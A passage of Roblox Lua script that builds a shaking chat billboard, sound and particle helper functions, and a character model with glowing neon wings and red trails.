Character:FindFirstChild("TalkingBillBoard"):destroy()
end
local naeeym2 = Instance.new("BillboardGui",Character)
naeeym2.Size = UDim2.new(0,100,0,40)
naeeym2.StudsOffset = Vector3.new(0,3,0)
naeeym2.Adornee = Character.Head
naeeym2.Name = "TalkingBillBoard"
local tecks2 = Instance.new("TextLabel",naeeym2)
tecks2.BackgroundTransparency = 1
tecks2.BorderSizePixel = 0
tecks2.Text = ""
tecks2.Font = "SciFi"
tecks2.TextSize = 30
tecks2.TextStrokeTransparency = 0
tecks2.TextColor3 = color
tecks2.TextStrokeColor3 = Color3.new(0,0,0)
tecks2.Size = UDim2.new(1,0,0.5,0)
local tecks3 = Instance.new("TextLabel",naeeym2)
tecks3.BackgroundTransparency = 1
tecks3.BorderSizePixel = 0
tecks3.Text = ""
tecks3.Font = "SciFi"
tecks3.TextSize = 30
tecks3.TextStrokeTransparency = 0
tecks3.TextColor3 = Color3.new(0,0,0)
tecks3.TextStrokeColor3 = color
tecks3.Size = UDim2.new(1,0,0.5,0)
coroutine.resume(coroutine.create(function()
while true do
swait(1)
owner.Character.wrecked.Volume = 0.3
if chaosmode == true then
tecks2.TextColor3 = BrickColor.random().Color
tecks3.TextStrokeColor3 = BrickColor.random().Color
end
tecks2.Position = UDim2.new(0,math.random(-5,5),0,math.random(-5,5))
tecks3.Position = UDim2.new(0,math.random(-5,5),0,math.random(-5,5))
tecks2.Rotation = math.random(-5,5)
tecks3.Rotation = math.random(-5,5)
end
end))
for i = 1,string.len(text),1 do
CFuncs["Sound"].Create("rbxassetid://274118116", char, 0.25, 0.115)
tecks2.Text = string.sub(text,1,i)
tecks3.Text = string.sub(text,1,i)
swait(1)
end
wait(1)
local randomrot = math.random(1,2)
if randomrot == 1 then
for i = 1, 50 do
swait()
tecks2.Rotation = tecks2.Rotation - .75
tecks2.TextStrokeTransparency = tecks2.TextStrokeTransparency +.04
tecks2.TextTransparency = tecks2.TextTransparency + .04
tecks3.Rotation = tecks2.Rotation + .75
tecks3.TextStrokeTransparency = tecks2.TextStrokeTransparency +.04
tecks3.TextTransparency = tecks2.TextTransparency + .04
end
elseif randomrot == 2 then
for i = 1, 50 do
swait()
tecks2.Rotation = tecks2.Rotation + .75
tecks2.TextStrokeTransparency = tecks2.TextStrokeTransparency +.04
tecks2.TextTransparency = tecks2.TextTransparency + .04
tecks3.Rotation = tecks2.Rotation - .75
tecks3.TextStrokeTransparency = tecks2.TextStrokeTransparency +.04
tecks3.TextTransparency = tecks2.TextTransparency + .04
end
end
naeeym2:Destroy()
end)
chat()
end
local Create = LoadLibrary("RbxUtility").Create
CFuncs = {
["Part"] = {
Create = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size)
local Part = Create("Part"){
Parent = Parent,
Reflectance = Reflectance,
Transparency = Transparency,
CanCollide = false,
Locked = true,
BrickColor = BrickColor.new(tostring(BColor)),
Name = Name,
Size = Size,
Material = Material,
}
RemoveOutlines(Part)
return Part
end;
};
["Mesh"] = {
Create = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
local Msh = Create(Mesh){
Parent = Part,
Offset = OffSet,
Scale = Scale,
}
if Mesh == "SpecialMesh" then
Msh.MeshType = MeshType
Msh.MeshId = MeshId
end
return Msh
end;
};
["Mesh"] = {
Create = function(Mesh, Part, MeshType, MeshId, OffSet, Scale)
local Msh = Create(Mesh){
Parent = Part,
Offset = OffSet,
Scale = Scale,
}
if Mesh == "SpecialMesh" then
Msh.MeshType = MeshType
Msh.MeshId = MeshId
end
return Msh
end;
};
["Weld"] = {
Create = function(Parent, Part0, Part1, C0, C1)
local Weld = Create("Weld"){
Parent = Parent,
Part0 = Part0,
Part1 = Part1,
C0 = C0,
C1 = C1,
}
return Weld
end;
};
["Sound"] = {
Create = function(id, par, vol, pit)
coroutine.resume(coroutine.create(function()
local S = Create("Sound"){
Volume = vol,
Name = "EffectSoundo",
Pitch = pit or 1,
SoundId = id,
Parent = par or workspace,
}
wait()
S:play()
game:GetService("Debris"):AddItem(S, 10)
end))
end;
};
["LongSound"] = {
Create = function(id, par, vol, pit)
coroutine.resume(coroutine.create(function()
local S = Create("Sound"){
Volume = vol,
Pitch = pit or 1,
SoundId = id,
Parent = par or workspace,
}
wait()
S:play()
game:GetService("Debris"):AddItem(S, 30)
end))
end;
};
["ParticleEmitter"] = {
Create = function(Parent, Color1, Color2, LightEmission, Size, Texture, Transparency, ZOffset, Accel, Drag, LockedToPart, VelocityInheritance, EmissionDirection, Enabled, LifeTime, Rate, Rotation, RotSpeed, Speed, VelocitySpread)
local fp = Create("ParticleEmitter"){
Parent = Parent,
Color = ColorSequence.new(Color1, Color2),
LightEmission = LightEmission,
Size = Size,
Texture = Texture,
Transparency = Transparency,
ZOffset = ZOffset,
Acceleration = Accel,
Drag = Drag,
LockedToPart = LockedToPart,
VelocityInheritance = VelocityInheritance,
EmissionDirection = EmissionDirection,
Enabled = Enabled,
Lifetime = LifeTime,
Rate = Rate,
Rotation = Rotation,
RotSpeed = RotSpeed,
Speed = Speed,
VelocitySpread = VelocitySpread,
}
return fp
end;
};
CreateTemplate = {
};
}
New = function(Object, Parent, Name, Data)
local Object = Instance.new(Object)
for Index, Value in pairs(Data or {}) do
Object[Index] = Value
end
Object.Parent = Parent
Object.Name = Name
return Object
end
local halocolor = BrickColor.new("Pastel light blue")
local halocolor2 = BrickColor.new("Cool yellow")
local starcolor = BrickColor.new("Bright yellow")
local lunacolor = BrickColor.new("Navy blue")
local lunacolor2 = BrickColor.new("Bright blue")
local wepcolor = BrickColor.new("Really black")
local maincolor = BrickColor.new("Really black")
local m = Instance.new("Model",char)
local m2 = Instance.new("Model",char)
local m3 = Instance.new("Model",char)
local mw1 = Instance.new("Model",char)
local mw2 = Instance.new("Model",char)
local extrawingmod1 = Instance.new("Model",char)
local extrawingmod2 = Instance.new("Model",char)
function CreateParta(parent,transparency,reflectance,material,brickcolor)
local p = Instance.new("Part")
p.TopSurface = 0
p.BottomSurface = 0
p.Parent = parent
p.Size = Vector3.new(0.1,0.1,0.1)
p.Transparency = transparency
p.Reflectance = reflectance
p.CanCollide = false
p.Locked = true
p.BrickColor = brickcolor
p.Material = material
return p
end
function CreateMesh(parent,meshtype,x1,y1,z1)
local mesh = Instance.new("SpecialMesh",parent)
mesh.MeshType = meshtype
mesh.Scale = Vector3.new(x1*10,y1*10,z1*10)
return mesh
end
function CreateSpecialMesh(parent,meshid,x1,y1,z1)
local mesh = Instance.new("SpecialMesh",parent)
mesh.MeshType = "FileMesh"
mesh.MeshId = meshid
mesh.Scale = Vector3.new(x1,y1,z1)
return mesh
end
function CreateSpecialGlowMesh(parent,meshid,x1,y1,z1)
local mesh = Instance.new("SpecialMesh",parent)
mesh.MeshType = "FileMesh"
mesh.MeshId = meshid
mesh.TextureId = "http://www.roblox.com/asset/?id=269748808"
mesh.Scale = Vector3.new(x1,y1,z1)
mesh.VertexColor = Vector3.new(parent.BrickColor.r, parent.BrickColor.g, parent.BrickColor.b)
return mesh
end
function CreateWeld(parent,part0,part1,C1X,C1Y,C1Z,C1Xa,C1Ya,C1Za,C0X,C0Y,C0Z,C0Xa,C0Ya,C0Za)
local weld = Instance.new("Weld")
weld.Parent = parent
weld.Part0 = part0
weld.Part1 = part1
weld.C1 = CFrame.new(C1X,C1Y,C1Z)*CFrame.Angles(C1Xa,C1Ya,C1Za)
weld.C0 = CFrame.new(C0X,C0Y,C0Z)*CFrame.Angles(C0Xa,C0Ya,C0Za)
return weld
end
--------------
local secondchar = Instance.new("Model",char)
local GhostCol = BrickColor.new("Really red")
local sectors = CreateParta(secondchar,1,0,"Neon",GhostCol)
CreateMesh(sectors,"Brick",2*8,2*8,1*8)
local torsweld = CreateWeld(sectors,root,sectors,1,-1,-2,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
local seclarm = CreateParta(secondchar,1,0,"Neon",GhostCol)
CreateMesh(seclarm,"Brick",1*8,2*8,1*8)
local larmsweld = CreateWeld(seclarm,sectors,seclarm,1.5,0,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
local secrarm = CreateParta(secondchar,1,0,"Neon",GhostCol)
CreateMesh(secrarm,"Brick",1*8,2*8,1*8)
local rarmsweld = CreateWeld(secrarm,sectors,secrarm,-1.5,0,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
local seclleg = CreateParta(secondchar,1,0,"Neon",GhostCol)
CreateMesh(seclleg,"Brick",1*8,2*8,1*8)
local llegsweld = CreateWeld(seclleg,sectors,seclleg,0.5,2,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
local secrleg = CreateParta(secondchar,1,0,"Neon",GhostCol)
CreateMesh(secrleg,"Brick",1*8,2*8,1*8)
local rlegsweld = CreateWeld(secrleg,sectors,secrleg,-0.5,2,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
local seched = CreateParta(secondchar,1,0,"Neon",GhostCol)
CreateMesh(seched,"Brick",1*8,1*8,1*8)
local hedsweld = CreateWeld(seched,sectors,seched,0,-1.5,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
--------------
local sorb = CreateParta(m,1,1,"SmoothPlastic",BrickColor.random())
CreateWeld(sorb,rarm,sorb,0,1,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
local sorb2 = CreateParta(m,1,1,"SmoothPlastic",BrickColor.random())
CreateWeld(sorb2,larm,sorb2,0,1,0,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
local handlex = CreateParta(mw2,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0,0,0)
local handlexweld = CreateWeld(handlex,tors,handlex,0,-1.5,-1.05,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
local valuaring = 10
for i = 0, 49 do
valuaring = valuaring + 10
rn = CreateParta(mw2,0,0,"Neon",halocolor)
CreateMesh(rn,"Brick",0.25,0.1,0.1)
CreateWeld(rn,handlex,rn,0,1,0,math.rad(0),math.rad(0),math.rad(valuaring),0,0,0,math.rad(0),math.rad(0),math.rad(0))
end
handlex = CreateParta(mw2,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0,0,0)
CreateWeld(handlex,tors,handlex,0,-3,-2.1,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
local valuaring = 10
for i = 0, 49 do
valuaring = valuaring + 10
rn = CreateParta(extrawingmod1,0,0,"Neon",halocolor)
CreateMesh(rn,"Brick",0.5,0.2,0.2)
CreateWeld(rn,handlex,rn,0,2,0,math.rad(0),math.rad(0),math.rad(valuaring),0,0,0,math.rad(0),math.rad(0),math.rad(0))
end
local handle = CreateParta(m,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0.5,0.5,0.5)
local handleweld = CreateWeld(handle,tors,handle,0,-1.5,-1.05,math.rad(0),math.rad(0),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
--- Left wing.
local lwing1 = CreateParta(m,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0.5,0.5,0.5)
local lwing1weld = CreateWeld(lwing1,handle,lwing1,3,0,0,math.rad(5),math.rad(0),math.rad(12.5),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw1,0,0,"Neon",halocolor)
local WINGWELDPARTA = CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,lwing1,wed,0,0,0.25,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,lwing1,wed,0,0,0.25,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
A0 = Instance.new('Attachment',wed)
wed = CreateParta(mw1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,3)
CreateWeld(wed,lwing1,wed,0,-0.25,1.75,math.rad(0),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
A1 = Instance.new('Attachment',wed)
wed = CreateParta(mw1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,3,0.5)
CreateWeld(wed,lwing1,wed,0,-1.75,0.25,math.rad(90),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
tl1 = Instance.new('Trail',wed)
tl1.Attachment0 = A0
tl1.Attachment1 = A1
--tl1.Texture = "http://www.roblox.com/asset/?id=1049219073"
tl1.LightEmission = 1
tl1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0),NumberSequenceKeypoint.new(1, 1)})
tl1.Color = ColorSequence.new(BrickColor.new('Really red').Color)
tl1.Lifetime = 0.6
local lwing2 = CreateParta(m,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0.5,0.5,0.5)
local lwing2weld = CreateWeld(lwing2,handle,lwing2,4,1,0,math.rad(10),math.rad(0),math.rad(25),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw1,0,0,"Neon",halocolor)
local WINGWELDPARTB = CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,lwing2,wed,0,0,0.25,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,lwing2,wed,0,0,0.25,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
A0 = Instance.new('Attachment',wed)
wed = CreateParta(mw1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,3)
CreateWeld(wed,lwing2,wed,0,-0.25,1.75,math.rad(0),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
A1 = Instance.new('Attachment',wed)
wed = CreateParta(mw1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,3,0.5)
CreateWeld(wed,lwing2,wed,0,-1.75,0.25,math.rad(90),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
tl2 = Instance.new('Trail',wed)
tl2.Attachment0 = A0
tl2.Attachment1 = A1
--tl2.Texture = "http://www.roblox.com/asset/?id=1049219073"
tl2.LightEmission = 1
tl2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0),NumberSequenceKeypoint.new(1, 1)})
tl2.Color = ColorSequence.new(BrickColor.new('Really red').Color)
tl2.Lifetime = 0.6
local lwing3 = CreateParta(m,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0.5,0.5,0.5)
local lwing3weld = CreateWeld(lwing3,handle,lwing3,4.75,2,0,math.rad(15),math.rad(0),math.rad(37.5),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw1,0,0,"Neon",halocolor)
local WINGWELDPARTC = CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,lwing3,wed,0,0,0.25,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,lwing3,wed,0,0,0.25,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
A0 = Instance.new('Attachment',wed)
wed = CreateParta(mw1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,3)
CreateWeld(wed,lwing3,wed,0,-0.25,1.75,math.rad(0),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
A1 = Instance.new('Attachment',wed)
wed = CreateParta(mw1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,3,0.5)
CreateWeld(wed,lwing3,wed,0,-1.75,0.25,math.rad(90),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
tl3 = Instance.new('Trail',wed)
tl3.Attachment0 = A0
tl3.Attachment1 = A1
--tl3.Texture = "http://www.roblox.com/asset/?id=1049219073"
tl3.LightEmission = 1
tl3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0),NumberSequenceKeypoint.new(1, 1)})
tl3.Color = ColorSequence.new(BrickColor.new('Really red').Color)
tl3.Lifetime = 0.6
tl1.Enabled = false
tl2.Enabled = false
tl3.Enabled = false
local lwing4 = CreateParta(m,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0.5,0.5,0.5)
local lwing4weld = CreateWeld(lwing4,handle,lwing4,5.75,3,0,math.rad(20),math.rad(0),math.rad(50),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,lwing4,wed,0,0,0.25,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,lwing4,wed,0,0,0.25,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,3)
CreateWeld(wed,lwing4,wed,0,-0.25,1.75,math.rad(0),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,3,0.5)
CreateWeld(wed,lwing4,wed,0,-1.75,0.25,math.rad(90),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
local lwing5 = CreateParta(m,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0.5,0.5,0.5)
local lwing5weld = CreateWeld(lwing5,handle,lwing5,6.75,4,0,math.rad(25),math.rad(0),math.rad(62.5),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,lwing5,wed,0,0,0.25,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,lwing5,wed,0,0,0.25,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,3)
CreateWeld(wed,lwing5,wed,0,-0.25,1.75,math.rad(0),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,3,0.5)
CreateWeld(wed,lwing5,wed,0,-1.75,0.25,math.rad(90),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
local lwing6 = CreateParta(m,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0.5,0.5,0.5)
local lwing6weld = CreateWeld(lwing6,handle,lwing6,7.75,5,0,math.rad(30),math.rad(0),math.rad(75),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,lwing6,wed,0,0,0.25,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,lwing6,wed,0,0,0.25,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,3)
CreateWeld(wed,lwing6,wed,0,-0.25,1.75,math.rad(0),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod1,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,3,0.5)
CreateWeld(wed,lwing6,wed,0,-1.75,0.25,math.rad(90),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
-- Right wing.
local rwing1 = CreateParta(m,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0.5,0.5,0.5)
local rwing1weld = CreateWeld(rwing1,handle,rwing1,-3,0,0,math.rad(5),math.rad(0),math.rad(-12.5),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,rwing1,wed,0,0,0.25,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
A0 = Instance.new('Attachment',wed)
wed = CreateParta(mw2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,rwing1,wed,0,0,0.25,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,3)
CreateWeld(wed,rwing1,wed,0,-0.25,1.75,math.rad(0),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,3,0.5)
CreateWeld(wed,rwing1,wed,0,-1.75,0.25,math.rad(90),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
A1 = Instance.new('Attachment',wed)
tr1 = Instance.new('Trail',wed)
tr1.Attachment0 = A0
tr1.Attachment1 = A1
--tr1.Texture = "http://www.roblox.com/asset/?id=1049219073"
tr1.LightEmission = 1
tr1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0),NumberSequenceKeypoint.new(1, 1)})
tr1.Color = ColorSequence.new(BrickColor.new('Really red').Color)
tr1.Lifetime = 0.6
local rwing2 = CreateParta(m,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0.5,0.5,0.5)
local rwing2weld = CreateWeld(rwing2,handle,rwing2,-4,1,0,math.rad(10),math.rad(0),math.rad(-25),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,rwing2,wed,0,0,0.25,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
A0 = Instance.new('Attachment',wed)
wed = CreateParta(mw2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,rwing2,wed,0,0,0.25,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,3)
CreateWeld(wed,rwing2,wed,0,-0.25,1.75,math.rad(0),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,3,0.5)
CreateWeld(wed,rwing2,wed,0,-1.75,0.25,math.rad(90),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
A1 = Instance.new('Attachment',wed)
tr2 = Instance.new('Trail',wed)
tr2.Attachment0 = A0
tr2.Attachment1 = A1
--tr2.Texture = "http://www.roblox.com/asset/?id=1049219073"
tr2.LightEmission = 1
tr2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0),NumberSequenceKeypoint.new(1, 1)})
tr2.Color = ColorSequence.new(BrickColor.new('Really red').Color)
tr2.Lifetime = 0.6
local rwing3 = CreateParta(m,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0.5,0.5,0.5)
local rwing3weld = CreateWeld(rwing3,handle,rwing3,-4.75,2,0,math.rad(15),math.rad(0),math.rad(-37.5),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,rwing3,wed,0,0,0.25,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
A0 = Instance.new('Attachment',wed)
wed = CreateParta(mw2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,rwing3,wed,0,0,0.25,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,3)
CreateWeld(wed,rwing3,wed,0,-0.25,1.75,math.rad(0),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(mw2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,3,0.5)
CreateWeld(wed,rwing3,wed,0,-1.75,0.25,math.rad(90),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
A1 = Instance.new('Attachment',wed)
tr3 = Instance.new('Trail',wed)
tr3.Attachment0 = A0
tr3.Attachment1 = A1
--tr3.Texture = "http://www.roblox.com/asset/?id=1049219073"
tr3.LightEmission = 1
tr3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0),NumberSequenceKeypoint.new(1, 1)})
tr3.Color = ColorSequence.new(BrickColor.new('Really red').Color)
tr3.Lifetime = 0.6
local rwing4 = CreateParta(m,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0.5,0.5,0.5)
local rwing4weld = CreateWeld(rwing4,handle,rwing4,-5.75,3,0,math.rad(20),math.rad(0),math.rad(-50),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,rwing4,wed,0,0,0.25,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,rwing4,wed,0,0,0.25,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,3)
CreateWeld(wed,rwing4,wed,0,-0.25,1.75,math.rad(0),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,3,0.5)
CreateWeld(wed,rwing4,wed,0,-1.75,0.25,math.rad(90),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
local rwing5 = CreateParta(m,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0.5,0.5,0.5)
local rwing5weld = CreateWeld(rwing5,handle,rwing5,-6.75,4,0,math.rad(25),math.rad(0),math.rad(-62.5),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,rwing5,wed,0,0,0.25,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,rwing5,wed,0,0,0.25,math.rad(0),math.rad(-90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,3)
CreateWeld(wed,rwing5,wed,0,-0.25,1.75,math.rad(0),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,3,0.5)
CreateWeld(wed,rwing5,wed,0,-1.75,0.25,math.rad(90),math.rad(90),math.rad(90),0,0,0,math.rad(0),math.rad(0),math.rad(0))
local rwing6 = CreateParta(m,1,1,"Neon",maincolor)
CreateMesh(handle,"Brick",0.5,0.5,0.5)
local rwing6weld = CreateWeld(rwing6,handle,rwing6,-7.75,3,0,math.rad(30),math.rad(0),math.rad(-75),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod2,0,0,"Neon",halocolor)
CreateMesh(wed,"Wedge",0.05,0.5,0.5)
CreateWeld(wed,rwing6,wed,0,0,0.25,math.rad(0),math.rad(90),math.rad(0),0,0,0,math.rad(0),math.rad(0),math.rad(0))
wed = CreateParta(extrawingmod2,0,0,"Neon",halocolor)
